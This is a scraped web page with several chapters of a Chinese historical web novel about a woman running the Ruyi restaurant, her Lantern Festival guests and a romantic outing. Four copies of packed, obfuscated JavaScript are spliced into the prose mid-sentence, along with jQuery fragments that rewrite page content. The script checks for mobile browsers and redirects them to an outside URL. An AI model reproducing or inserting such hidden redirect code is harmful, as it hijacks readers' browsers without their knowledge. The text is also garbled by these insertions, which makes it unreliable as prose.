l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401539|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁照儿睨了沈度一眼，淡淡道：“我要是个狠心的，就把你一人丢在江里头，如今早就泡发了。” “好好的讲着话，又说起我来。”沈度无奈道。 梁照儿懒怠理他，轻轻一瞥他又回裾转袖去了后头厨房瞧李瘸子做菜做得如何了。 如意馆预备以李瘸子的两道拿手菜做招牌菜，一道是清炖蟹粉狮子头，另一道则是蟹酿橙。说来梁照儿原对蟹酿橙这道菜有些好奇，她自己从前做过，却并未瞧出和蒸螃蟹有何不同，相反加了橙子二者味道相冲倒有些奇怪。 她瞧李瘸子做了之后才发现这其中的问题就出在橙子上，本朝所称之橙子倒和后世水果摊上卖的橙子并不是同一物，有些像香柚，梁照儿觉着应该是香橼这一类果子的近亲。 梁照儿托玉松从广府那边弄来了一批桃花蟹，正好做蟹酿橙使。只见李瘸子先将那螃蟹洗净蒸熟，又取出蟹肉和蟹黄，再把橙子顶部切开，挖出果肉，将橙壳留作容器。最关键的一步便是将蟹肉和蟹黄与调料混合均匀，梁照儿凑着脑袋想过去瞧李瘸子用了些什么调料，却被李瘸子轰了出去。 他道：“这乃是师门密笺，虽说你是掌柜的，可也不能随便给你看。” 梁照儿可怜兮兮地望着李瘸子说：“李瘸子你别这么小气麽。” “拜了我作师傅便传给你。”李瘸子隔着木门嚷道。 这倒不是他一时兴起，打在营造处见梁照儿做饭时，他便瞧上了这女子。 李瘸子打小便做了厨子，从事这一行当也有几十年了，大大小小的厨子他见过不少。但许多人在他眼里不过是做菜的匠人，还称不上厨子，因着这些人只知一味按照现有的食笺来复刻食物。但梁照儿却有难得的创新，虽说仍有些瑕疵，却瑕不掩瑜。 梁照儿若是知晓李瘸子对她的评价这般高，必定得羞红了脸。 不过片刻，李瘸子便将两道菜端了出来。梁照儿伸手唤来在一旁干活的沈度，说道：“一起来尝尝味道。” 三人围成一圈，对着两道菜细细品鉴起来。那蟹酿橙里蟹黄和蟹膏虽不如秋天那么肥，却自有一股风味，蟹肉鲜嫩清甜倒更配橙子的清香。蟹肉随着橙子那么一蒸，再辅以酱料，果真是半点腥味也无。再说那蟹粉狮子头，这道菜分外讲究刀工，猪肉要切成石榴米状，不能剁成肉饼。且肉馅要予以虾籽、蟹黄、葱姜水和黄酒等物一起调和着，方可得佳肴鲜味。 尝完这两道菜，梁照儿脑海中只剩下一个字，鲜。 如意馆食材自然是比不过燕来楼，不过讨得一个巧字。再加上李瘸子的厨艺，也能将七分的食材发挥出十二分的味道。 沈度虽是个漂泊江湖的流浪人士，却也吃过不少食肆酒楼，他也认可如意馆的口味虽不能说夺得桂冠，但也算名列前茅。 梁照儿想起那日在建隆寺宝绮应承她的话，她也不管是不是客套话，连忙趁着立文过来取食盒的时候叫他帮忙带给信给宝绮，只管请她来尝尝。 她若应承了自然是喜上加喜，若不来倒也损失不了什么。 30. 元宵、开始营业与桃红四物糕 晓镜初开，疏云碧空。今日元宵，如意馆门前扎了相对的两架花灯笼应景。灯笼形态各异，颇有意趣。 一驾蓝顶雕车徐徐地停在了如意馆门前，沈度在车前候着接客。宝绮率先扶着拂柳从车上下来了，她今日身穿绛紫如意袄，下头配着一套的牡丹裙，头上梳着流苏髻，两条梅花珍珠链柔顺地垂在耳侧。 她回头看向后头的那女子，那女子身高较她高两寸，身穿藕荷色绣蝶袄，梳着螺髻，戴着一顶杂色缠花发冠。听得宝绮唤她一声“嫣然姐姐”，那女子微微一笑，挽着宝绮的手并落后小半步一同进了如意馆。 这便是杜参军的四姑娘，闺名唤作嫣然的。 梁照儿听宝绮同她介绍后，冲着杜嫣然微微欠身福说：“杜娘子安好，今日一见果真如宝姑娘所说是个谪仙般的人物。” 杜嫣然虽是庶女，可她出生时杜参军正官运亨通，四姑娘的吃穿用度倒一律比前头三个姐姐好上不少，再加上杜嫣然生的粉雕玉琢，讨杜参军欢喜，使得她眼光愈发得高，寻常人等一律是瞧不上眼的。 今日若不是宝绮邀她出来，凭她自己是断不会来这等市井食肆的。 杜嫣然跟在宝绮身边，常听她和韩景彦提起这里的吃食如何好吃，店家娘子又是如何的风趣，心中难免隐隐有些不服气。 她将宝绮看得重，又隐晦地得知两家长辈有意结亲，更是已将韩景彦当作未来夫婿般，哪里容得下未来官人嘴里说起旁的女子。 她勉强笑笑说：“原是宝绮过誉。” 梁照儿不着声色地打量了杜嫣然一眼，并未错过她眼中的一丝轻蔑。 “不好让娘子们这等娇客在底下空站着，还请随了我到楼上吃盏茶。昨儿听宝姑娘会话说要来替我撑撑场面，高兴得我唷一晚上都翻来覆去地不肯睡，两位能品一品我们这小馆做的糕点，奴也算值当了！”梁照儿笑着迎她们上楼，站在楼梯上给楼下的沈度又使了个眼色。 宝绮笑笑说：“好了，你这皮猴子专门说这样的话讨我开心。” 梁照儿连忙道：“天地可鉴，句句是真心。” 杜嫣然在一旁神色淡淡，并未介入两人的谈话。梁照儿倒也不在意杜嫣然这般模样，毕竟像她这种人么，被这些官家小姐瞧不上是惯常的事，不过哄上几句，银子能到手便够了。 “这是专门辟的一间雅间，专供娘子们在此处小聚，无人敢打扰的，”梁照儿推开窗又道，“外头便能瞧见江，景致再好不过了呀。” 宝绮点了点头，看着外头宽阔的江面心情也不由得放松了几分。 梁照儿让宝绮和杜嫣然小坐片刻，自己去拿茶点上来。她刚下楼便瞧见沈度在楼梯间站着等她，“没看见堂里坐着客人，你不去侍候着傻站在这作甚？” 沈度神色晦暗，“那杜娘子鼻孔长在头顶上，眼睛浮在半空中，何苦做她的生意找不痛快？” “她两个是什么样的人物，背靠大树好乘凉麽。光闷头干哪里够，若是她两个肯拉一把，甚么都得了呀。”梁照儿摆摆手道。 她又走到玉梳跟前问：“早晨进账如何？” 玉梳朝着前头两桌客人努了努嘴，说道：“早餐么，卖的好的还是那老三样，新上的素馒头也不错。不过还未到午饭的点，不知道后头如何了。” 梁照儿点了点头，从厨房里端出几碟子预先备好的糕点上楼。她轻轻推了门将盘子放在桌上，信手布好桌。 宝绮本和杜嫣然在说崔氏预备给她定下的一门亲事，讲到一半却被梁照儿摆上来的糕点吸引去了注意。她定睛一瞧，是一碗冰雪冷元子，一份抹茶酥萘花，和一碟叫不出名字的方方正正的糕点。 她好奇问：“其余两个我倒识得，只是不知这一碟子是什么？” 梁照儿笑道：“这个么，是用桃红四物做的千层糕，还未起个名字，若是宝姑娘吃着好也可赐个名儿。” 她又说：“娘子们虽爱吃糕点，却也总怕吃多了发胖，奴便想着既有药膳，能不能将点心也做成这样，这才有了它。” 桃红四物汤是妇科中的一道经典药方，四物分别是熟地、当归、白芍和川芎，桃红则是桃仁和红花。千层糕的面皮和春卷皮一样，不过用桃红四物汤代替水和面，面皮制出来是淡淡的粉红色，如同娇嫩的桃花一般。中间的馅料是用牛奶山药泥充的，山药泥过筛了好几遍，顺滑的尝不出一丝颗粒感。 宝绮尝了一口惊喜道：“往常我最不耐烦被娘唠叨吃这些药啊汤啊，这样一做倒尝不出半点怪味，嫣然姐姐教你说呢？” 杜嫣然勉强尝了一匙，应酬说：“我吃着倒还好，牛乳兑的有些多，倒甜了些。” 梁照儿也不恼，回话说：“杜姑娘若是觉着不合口味，可以尝尝这道冰雪冷元子，是用浸了梅花汁子的醪糟做的，倒适合今日元宵节用。” 杜嫣然这才正眼瞧了她一眼，似笑非笑说：“你倒还算乖觉。” 梁照儿将眼眸一敛，压下心中翻涌的情绪，又喜滋滋地上前道：“奴多谢姑娘赞。” 她又问两人想用些甚么正经菜式，取了册子来叫她们相看，宝绮点了两个招牌菜，杜嫣然又点了一例平桥豆腐才将册子递给梁照儿。 梁照儿接过册子下楼告诉李瘸子，厨房里蒸锅未歇，漫着一屋子水汽迷迷蒙蒙的，她唤了好几声李瘸子才应了。 大堂里坐着好几桌散客，有一食客从外头进来时看了一眼那匾额问道：“门上‘如意馆’三字可是启旸君题的字？” “正是，蔡郎君也曾尝过小店的梅花汤饼，直言妙甚呢。”梁照儿笑着答道。 那食客点头坐下，“也给我上一碗梅花汤饼。” 临近午膳时间，又涌进不少客人，几乎满满当当将楼下坐满了，其间有不少是梁照儿的熟客来捧场，也有些新来的食客。从前买过如意酥的娘子们见梁照儿又弄出些新花样也感兴趣的紧，即刻一样点了一份你挤着我我挤着你地上楼去了。 一时间如意馆里好不热闹，见沈度忙不过来，玉梳也从柜台里头出来帮着招呼客人。 宝绮她们点的菜先好了，梁照儿亲端了上去。宝绮想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401540|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请梁照儿坐下一起用些，她二人自打建隆寺一别也不曾再见过。杜嫣然自诩清高，自认是官家小姐高人一等，哪里又肯同市井妇人同桌共食。 梁照儿为难道：“感念宝姑娘的慈心，只是店里事忙不好作陪。” 杜嫣然见状心中更气了几分，其心路历程大约是你也不瞧瞧自己是甚么身份能跟我一起吃饭，继而是连你这种身份也敢拒绝我？ 梁照儿转身出去忙了起来，楼上雅间也开席用饭。杜嫣然心怀不满，一顿饭自然也用的兴致缺缺，宝绮一向知道她性子本就这般也就未多加询问。 用完了饭，趁梁照儿上来预备迎送她们时，杜嫣然趁机给身边带来的丫头使了个眼色。 宝绮命拂柳拿了一小荷包银瓜子出来给梁照儿，只说是给她的赏，这顿饭用的舒坦。 梁照儿连忙上去接。“这哪里使得，”她掂了掂那荷包的重量，又说，“这比原本的价格贵出不少，奴断然不肯收的。” 杜嫣然合上杯盖，幽幽道：“不肯收麽，如今也收下了。” 她身旁的丫头也上前道：“宝姑娘看了赏，咱们姑娘也是有赏的，虽比不上银瓜子，倒也有一吊钱却不知娘子瞧不瞧得上。” 梁照儿一听有钱赏，便已觉着很好了，哪里还在乎多少，“杜姑娘可是折煞奴了。” 她伸手去接，却不想那丫头手指一勾，将串钱的朽棉绳硬生生地扯断了。铜币叮里哐啷地撒了一地，饶是梁照儿平日里给自个儿的心里建设再足、脸皮再厚，此刻也黑了脸。 这是摆在明面上的羞辱，要的就是她像狗一样在地上爬着捧起杜嫣然给的赏，可再饥饿的人也知不食嗟来之食。 宝绮虽不满杜嫣然此举，但也不会为了梁照儿真与她起什么争端，只笑着调和说：“碧桃这丫头行事也太不小心了些，好好的银钱撒了一地，还不快捡起来。” 碧桃却说：“宝姑娘说的是，是婢子粗心。到底是给娘子的赏，还劳烦娘子拾一拾。” 梁照儿正欲俯下身将自尊踩在脚下将那银钱拾起来，不料沈度却推了门径直走到她跟前蹲下身来将一地的铜币一个个捡起。 他将铜币用衣服兜着，淡淡开嗓道：“到底是贵人，指缝里漏出一点便够寻常人家活十天半月了。诸位慢行，千万仔细着脚下。” 宝绮临走前冲梁照儿抱歉地笑笑，才带着拂柳去了。 梁照儿兀地跌坐在一边的凳上，沈度面含笑意地望着她，摇了摇头说：“你这人，嘴上说的比谁都狠，可真要做起来呢，又是万般的不情愿。” “我是穷苦人，脊梁骨轻，值不了几文银钱，可也不是个畜生罢！”梁照儿愤愤道。 自打梁照儿来到这，但凡有点血缘关系的人就能买卖她。她时常劝着自己能自立门户了，就能不受人欺负了，如今却在自己的地盘叫人平白羞辱了去，她如何不恨？ 沈度见她一时气鼓鼓，一时又思量着什么，觉得好笑又可爱。他缓缓蹲在她跟前，说道：“既不想捡，以后便不捡，往后这弯腰的事叫我做就是了。” 31. 荷花灯与荷花糕 梁照儿鼓着眼睛，眼里是不可置信。她扭过身道：“谁要你替我做。” 沈度倏尔笑了，他一笑便露出正正好好八颗牙齿，“你忘了，我不是你聘来的伙计吗？” “伙计也不好被欺负的呀。”梁照儿一听这话，“扑哧”一声笑了，“这样么，以后若再有这种事你捡七次，我捡三次好啦。” 沈度观她笑起来总是先皱起鼻子，像一只振翅欲飞的蝴蝶先收紧了翅膀。看着是副精明泼辣的模样，接触的深了却发现这人是个略带稚气的......笨蛋。 这里的“笨蛋”是个褒义词，实则是赞耀她赤子心肠。 他笑着哄那笨蛋开心：“为何我比你多四次？” 梁照儿勾了勾脚尖，骄傲道：“自然是因为我供你吃穿，给你发工钱囖，你可不得孝敬着。” 她的脾气总是来得快去得也快，转眼间又恢复了斗志满满的模样，一路小跑着下了楼。沈度跟在她身后看着她笑着摆弄店里头的事，也被感染了几分。 天渐渐暗了，正是灯光满城中，宝辇隘通衢的时候。本朝不设宵禁，夜市行人如织，往来食客颇多，如意馆一楼坐得满满当当。 不少食客都来如意馆中点些茶点小食叙话。燕环和采荞也相约着来了，梁照儿许久未见采荞也很欢喜，连忙给她们寻了个空桌。 采荞叹道：“哎呀呀，如今当真是大变样了，我当从外头走来这里开了家新店呢！” 梁照儿佯装生气道：“你可是金贵，千请万请都不肯出来，若是常来便不觉得了。” “好了，来都来了麽，你就别说她了。人家哪里同我们这些孤零零一人过活的，难舍的下她男人。”燕环促狭道。 采荞一听这话又羞又愤，伸手便要拧燕环的嘴。 梁照儿笑着说：“要用些甚么，快说来。” 燕环躲过采荞的大手，喘着气说：“那么就来两道你们这的招牌菜呀，李瘸子天天瞧不上这个也瞧不上那个的，倒叫我们尝尝他的手艺。” “蟹酿橙和蟹粉狮子头一样来一份囖？” 采荞连忙拦道：“只要一道蟹粉狮子头给这馋痨胚，我就不要了，只要一盅阿胶粥便是了。” 燕环不悦道：“好端端地出来，吃也不能吃，喝也不能喝。” 采荞抚着小腹，眼底闪着失望与担忧，“郎中说了要多吃些温经暖宫的吃食才好有孕，我家官人也十七八了，村里这般年纪的男人孩子都能下地打酱油了，我也没给他添个一儿半女。” 燕环着实不解：“十七八就得有儿子，他怎么不说十七八就该考取功名，领着一家老小过上好日子呢？” 采荞连忙让燕环住嘴，她道：“不好说这些话的呀。” 燕环更费解，她不知为何采荞生的牛高马大的却如此惧怕她家男人。燕环要是她，自家男人和婆婆要是敢这般骑到自己脖子上来，直接连两个人一起收拾了。一巴掌扇两个，省时省力。 再早些，在采荞还小的时候，她确实是有过反抗的。人么，哪有一开始就麻木的。可那时候她婆婆正当壮年，她一个丫头片子哪里拗得过？这么一来二去了几次，采荞也就逆来顺受了，不逆来顺受也没办法麽，没饭吃的滋味深深地刻在了她的骨血里。 大约同动物园里捕来的老虎和狮子一般，再放回野外便失去了猎食的能力。 梁照儿见状连忙打着圆场道：“都有的，来了只管尝尝。” 她转身回厨房帮着料理，才做了片刻，玉梳便打了帘子进来唤她：“前头韩郎君身边的立文来了，说是有要事寻你。” “没说甚么事？”梁照儿问道。 玉梳摇摇头，“这倒没说，你去问问罢，外头事忙我先出去了。” 梁照儿随手用围裙抹了一把手，又将围裙解下放在一边，急急忙忙地捉裙朝外头去。立文见了她也没过多言语，只叫她跟着来。 二人穿过熙熙攘攘的人群，走了好一阵，梁照儿被一个卖香糖果子的货郎重重地踩了一脚，皱着眉头蹲下身擦去绣鞋，压下心中的不悦道：“立文小哥，这是要去哪，好歹先知会一声。” 她心里还记挂着如意馆里头的生意，心中有些焦急。一个人影笼在她前头，她一动，那人也跟着动。梁照儿抬头不耐烦道：“这位郎君，没瞧着这里有人在麽，好端端地何故挡人去路？” 面前戴着魁头傩面具的男人轻轻一笑，“起来吧。” 他伸出半只袖子，示意梁照儿抓住袖子借力起身。 梁照儿将脸一撇，自己撑地一个打挺站起身来，她拍拍手道：“阁下若是行事坦荡的君子，为何不敢以真面目示人？” 韩景彦将面具取下，露出一半俊面道：“你既可以不以真面目示人，为何我不可？” 梁照儿一顿，讪笑着说：“原是韩郎君，您说这些话奴倒不懂了，食肆里头事忙，您若是没要紧的事奴就先回去了。” 她正欲逃走，却不想右脚踩到裙摆跌了一跤。梁照儿心中气愤，都怪古时候衣服做成这模样，禁锢了她的行动范围。 见自己脸要正对着地面摔下，梁照儿连忙用手捂住面庞，她可不想毁容。可过了好几秒，预期中的疼痛感却未传来，她才缓缓松开手朝后头一望。 韩景彦拉住了她。 梁照儿尴尬地扯了个笑容，又说：“多谢郎君救我。” 说起来她倒没怎么同韩景彦单独见过面，除了书信往来二人现实生活中倒没怎么说过话，故而梁照儿此刻也不知以何种方式同他相处。 韩景彦松开抓住她后背的手，悠然道：“平日里在信中倒要比如今会言语些，你说是么，大娘？” 梁照儿双脚忍不住扣地，此情此景堪比在光天化日之下被人大喊自己的网名，还有什么比这更尴尬的？她讷讷道：“嗳……这…不是……” 顶着韩景彦探究的目光，梁照儿败下阵来，认命说：“你是什么时候发觉的？” 什么时候发觉的？韩景彦挑了挑眉。 说来倒有许久了。 起初他倒没有怀疑，只当扬州城里能人异士和汴京城的一样多，毕竟宋厨娘做的鱼羹也风靡汴京。后来渐渐的倒觉得有些蹊跷，他也是见过关大娘的，关大娘讲话的习惯同回信中那人的并不一致，尽管回信之人刻意模仿着大娘们平日里讲话的口癖，还八卦地催婚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401541|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他确信的契机还是因为大黄印下的一串狗爪子。韩景彦无声地笑了笑，“大约是在建隆寺罢。” 梁照儿懊恼地拍了拍头，想来定是那日带了萝卜丝油墩子去，他们一问吃食有关的，自己便忍不住噼里啪啦地说上一通。 失策！ “郎君既然早知，又为何……”梁照儿低着头说。 韩景彦双手交叉放在身前，笑盈盈地探头去瞧她，“就许你骗我，也不许我诓诓你？” 其实不光他知道，宝绮也是知道的。宝绮也曾疑惑，为何不打开天窗说亮话，韩景彦却摇了摇头。 原本他们之间只是谈谈吃食，后来渐渐熟悉了，韩景彦也时常向梁照儿倾吐一些苦恼，大约是父母的期望太重或是不知读书有何用处云云。 若换了旁人，必定是吹捧他一番，再添上几句不油不盐的话。可梁照儿不同，她借机骂他，说他身在福中不知福，说他吃饱了撑的。若是不肯过这样的好日子，便去跟城外的流民、灾民换换。她又说读书是为了让百姓们过上好日子，不是来无病呻吟的。 韩景彦觉得自己大约是疯了，或许是前半辈子过得太顺风顺水，他竟觉得这些骂他的话十分中听。 若是一切都被赤裸裸地撕开，他怕因着他的身份，她再不肯和自己说这些话了。 他走近一步，“今日元宵节，不如去放盏花灯？” 韩景彦从身后拿出一盏荷花灯，梁照儿讶然，方才她明明没瞧见他手里提着东西，也不知是从哪变出来的。 她道：“韩郎君就是为了这个让立文将人火急火燎地喊来不成？奴倒没这个闲心，且有做不完的活等着呢。” 韩景彦辩驳说：“既做不完，那等等又何妨？” 梁照儿一想也是，正好自己许久也未逛过夜市庙会，也好去瞧瞧便轻声应下，“也是，不过还是得早些回去。” 二人并肩踏过石拱桥，步入河岸边。岸边挤着不少郎君娘子正等着放花灯，说来元宵节也是难得的让有情人光明正大相会的节日。 韩景彦看梁照儿望得出神，正准备说些什么，却听她说：“早知这么多人在，应该支个摊子在这卖花灯才是，肯定能赚不少银子。” “……” 前头的人群渐渐散了些，二人朝前去了几步，梁照儿俯身将荷花灯放进水中，用指节轻轻一推，将它推的更远些。 看着越飘越远的荷花灯，梁照儿侧头看向韩景彦问道：“为什么是荷花？还没到夏天呢。” 韩景彦对上她闪烁的眸子，“等我去了汴京，便看不见扬州的荷花开。” 他又补充说：“听说邵伯湖的菡萏实乃一绝，若不观之倒可惜了。本想与你……和宝绮一同去瞧，今日也算瞧过了。” 沈度刚跑上石桥，往下一望便瞧见这二人叙话。他在如意馆里忙得一塌糊涂，被玉梳赶出来瞧瞧梁照儿怎得还未回，不料却看见这般场景。 他气得满脸铁青，飞身上树，蹲在树上瞧着河边二人。 只听见一阵微风拂过树梢，梁照儿说：“确实可惜，不如奴做一篮子荷花糕到时候郎君带着上京，也算看过了。” 32. 机会与浪费 梁照儿与韩景彦分了别，兴致良好地跨过石桥步入官道上。忽而一团黑影从天而下蹿到她面前，将她吓了一大跳。 “哪来的大黑耗子？”她双手抚着胸口惊道。 沈度冷哼一声，默然地走在她身侧，眉头紧皱。 梁照儿见是他便打开了话匣子：“嗳，你是来寻我的麽？店里怎么样了，可还忙得过来？” 沈度一听这话脸黑的跟锅底一般。 梁照儿见他不搭腔，也懒得热脸贴冷屁股。毕竟她如今身为沈度的老板，该有的威严还是得有的。 二人一处走了许久，沈度忽而顿身回头问道：“荷花灯比灯笼好看吗？” 梁照儿见他酝酿了半天，以为他要说什么要紧的事，谁成想蹦出来一句风马牛不相及的话，便故意说：“好看阿，知州府里头的东西不好哪里的好？” 沈度一噎，却也找不出什么话来反驳，只阴阳怪气道：“人家送你荷花灯，你就有荷花糕来配，我替你扎了那么多灯笼，怎么不说给我也做点甚么来酬谢？” “给你十个铜板当工钱囖。”梁照儿冲他勾了勾手。 还有什么比银子更实在，更能表达心意的？梁照儿感觉良好地大步向前走去，她见沈度没跟上来，又唤他：“再不来十个铜板也没了。” “来了。” 沈度本还想讲些什么，又怕梁照儿嫌他嘴碎，只得硬生生憋下了。他落后梁照儿一步进了食肆，只见地上泼了水，玉梳和燕环正在搬桌椅板凳。 燕环见她一回来，打趣道：“唷，总算肯回来了？” 玉梳轻轻地戳了戳梁照儿的脑袋，“野丫头，做甚么去了？外头疯了这么久也不知肚子饿麽。” 沈度幸灾乐祸道：“跟小郎君放荷花灯去了呗，倒留我们在这替她干活。” 梁照儿瞪了他一眼，又问燕环：“采荞呢？怎的就回去了，我还没同她讲几句话呢。” “回去造小孩了，也不知甚么东西在后头追着她，跑得比兔子还快。”燕环尖声说。 玉梳笑着摇了摇头，她倒很理解采荞，妇人家成了婚，自然不比从前能时常出来。她拉着梁照儿到一边，“掌柜的，您瞧瞧罢，今儿给您记的帐。” 要不说玉梳是一把管家的好手呢，她早就没用原始的单式记账来记账，而是采用了四柱清册记账法。其中“四柱”指旧管、新收、开除、实在，相当于现代会计中的期初结存、本期收入、本期支出和期末结存。每笔都记得清清楚楚，就连梁照儿这种门外汉也能看懂。 账本比起梁照儿从前胡乱记一气来言可谓是焕然一新了。 “大约赚了一贯钱的样子，按照今日钱庄的汇率，能换小一两银子。”玉梳指着结存处给梁照儿瞧。 梁照儿笑着说：“也不错了，至少将李瘸子的工钱赚回来了。” 毕竟厨子是技术工种，李瘸子的工钱比其余两人都要高些。 不过李瘸子倒不关心这些，他只关心食客爱不爱吃他做的菜，至于工钱按时按点发，有饭吃就万事大吉。他听见众人在说话，将汗巾子往脖子上一搭便从后头出来了。 李瘸子问：“食客们今日对菜品可有甚么说道？” 众人一齐看向沈度，这是跑堂的活。 梁照儿问道：“你不会没记罢？” 沈度打了个响指，淡淡说：“怎么可能。” 随即他从怀里掏出一个泛黄的小本子，上头记着：某男曰味淡，某女曰等候时间略久，某小童曰李瘸子做的蟹粉狮子头太大且造型丑陋…… 李瘸子闻言拍桌子大怒：“哪来的黄口小儿！” 沈度将本子摊在桌上，众人一同凑在灯下七嘴八舌的分析。一阵妖风吹过，本子被风翻得呼啦作响，翻到前头的那页上绘着某地某倒霉富商宅子里的地形图，其中珠宝所在之处还被沈度用笔圈了出来。 众人皆沉默不语。 玉梳觑了沈度一眼，心中一阵打鼓。看样子梁照儿招来的这位不说话的小伙计看样子来头不小。 紧接着她又瞄了一眼李瘸子，嗯，这人瞧着也是。 玉梳觉得自己好像混进了一群不得了的人中间，不过照儿工钱给的多，凡事还是别想太多，有的赚便接着老老实实干吧。 众人静了片刻，又开始商议如何解决客人等的时间长的问题。 “我今日瞧的真切切的，隔壁的那个店么，叫什么名字来的呀，趁着客人排队买胡饼店空档，将人往他们店里头拉哩。”燕环激动道。 她声音尖细，一激动讲起话来便有些像唱曲儿似的自带韵律。 玉梳想了想说：“大约是宋家铺子罢，不过那家原不是宵夜肉行麽，怎得也卖起胡饼来了？” 李瘸子闷哼一声，不悦道：“还能为甚么，眼瞧着咱们这边生意好了，也想来分一杯羹囖。” 燕环又说：“这哪成呀，咱们可得想个法子治治他们。” 梁照儿无奈道：“不过这在哪行哪业都是常事，咱们管得了宋家铺子一家，也管不了其余的。” 沈度见梁照儿心中已有成算，调笑说：“若真不许你管，你又是不肯的，何苦同我们卖关子？” 梁照儿睨了他一眼，摇头晃脑道：“宋家铺子能将客人拉拢到他们那儿去无非就是靠价格比咱们低，价格一低，再想挣钱就只能降低吃食的质量。” 她喝了一口茶又说：“不过我倒不赞同跟宋家铺子打价格战。” 玉梳问：“甚么是价格战？” 梁照儿解释：“就是咱们也跟着一道压低价格。” 沈度点头，“我也赞同，损人不利己的事情倒没必要干。” 燕环本想回怼一句，劫富济贫难道就损人利己了麽，却又怕沈度混劲上来了一刀了结了他，只得悻悻住嘴。 这话一出倒叫梁照儿有些讶然，沈度这厮进入角色未免也太快了些，看起来倒真像个跑堂的伙计。 沈度却像能读出梁照儿心声般，挑眉说：“人在屋檐下不得不低头。” “那你换个屋檐站，”梁照儿淡淡道，“咱们可在给排队的食客提供些免费试吃，大可用店里头的糕点吃食。” 玉梳犹豫道：“这不会亏损麽？” 李瘸子倒很赞同这法子，“亏损总是一时的，最主要是吸引客人们进来，只要他们肯进来，小老儿就有这自信用厨艺留下他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401542|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那你为何在营造处做的吃食那么难吃？”燕环问道。 李瘸子没好气道：“还不是羊甲头要求的，只管让他们有力气干活，别拉肚子上茅厮就成。偏掌柜的来了一遭弄些新式样，后来他们再不肯吃我做的了。” 毕竟营造处食堂提供的饭菜工具性大于一切，那些民夫工匠皆被视为被管理的对象而非前来品茗用餐的食客。这也难怪李瘸子一见梁照儿便鼻子不是鼻子，眼睛不是眼睛的。 众人又商议了一阵，见夜深了才各自散去。 张虎来接玉梳回家，两人刚一进家门就听见张老太的咒骂：“你算舍得回来了，叫你给你男人和你大伯哥去找份工做做，你怎得自己给自己找了个活干？” 玉梳道：“谁做不是做，总少不了您一口吃的。” 张虎还算有良心，连忙说：“时辰不早了，娘您还是早点睡罢。” 张老太一把拉过张虎，小声道：“你这个痴的，由得她到外头去只怕她心要变野，抓紧养个毛伢子才是正理呀。” 张虎沉默了片刻，只言他心中自有成算便拉着玉梳进屋了。玉梳惴惴不安地盯着张虎，生怕他被张老太挑拨了去，若真如此她在张家的日子便难过了。 “好端端地瞧着我作甚？”张虎问。 玉梳忐忑道：“你莫不是真将你娘的话听进去了罢？” 张虎长叹一口气，又说：“原以为经了从前大哥媳妇那事，娘能清醒些，不想还是这副模样。我倒不在乎她说的那劳什子事，我知晓你的心，只怕你太累些个。” 壮似牛犊的汉子罕见地红了眼眶，“倒是我没用。” 玉梳搂着他的头，缓缓说：“好了，不说这样的话，有点福气都被叹走了。” 愧疚夹着感动，张虎夜间倒比寻常更卖力了几分，险些让玉梳第二日早上起迟了。她揉着后腰朝如意馆去，刚巧碰见关大娘在店里同梁照儿说话。 关大娘问沈度：“听说你与玉松是旧相识，可知他在外头做甚么营生麽，这会儿又急匆匆地走了，说是东家老爷有事央他去做。” 沈度沉默了片刻，总不能将玉松在外头做杀手这事告诉关大娘吧？ “这个麽…”沈度转头望向梁照儿，见梁照儿摇头，又说，“玉松……在外头替东家采买东西难免要自处奔波。” 关大娘点了点头，“这倒是个肥差。” 梁照儿指着沈度笑着转了个话题：“正好大娘来了，今日我打算引着他去州衙里落户，劳烦您替我照看些。” 玉梳也说：“那今日我也可同娘一处说说话。” 梁照儿拎着目前还是黑户的沈度出了门，沈度嘴里叼着根麦秆，满眼的无所谓：“都过了大半辈子了，没这户籍路引还不是好好的。” “难不成你一辈子只活三十几年，”梁照儿瞪了一眼沈度，“你怕是小贼见了官兵，老鼠见了猫，心中发怵罢。” 沈度伸出一只拳头，盯着梁照儿笑着说：“你可瞧见这沙包大的拳头？” “瞧见了，又怎样？”梁照儿淡定地用食指顶开沈度的拳头，“难不成你还敢以下犯上？” “……不敢。” 33. 上户口与经营风波 两人慢行来了州衙门前，梁照儿对门前的把守小吏说：“官爷，奴找付文兴付大人。” 那小吏生得一对飞天眉，双手背后，不怒自威：“闲人勿近。” 梁照儿低头打量了自身一秒，心道：我哪里像闲人了？ 她抬头堆出一个笑说：“我与付大人和李鸿李大人是熟识，此番来也是为着给家里人上户籍。” 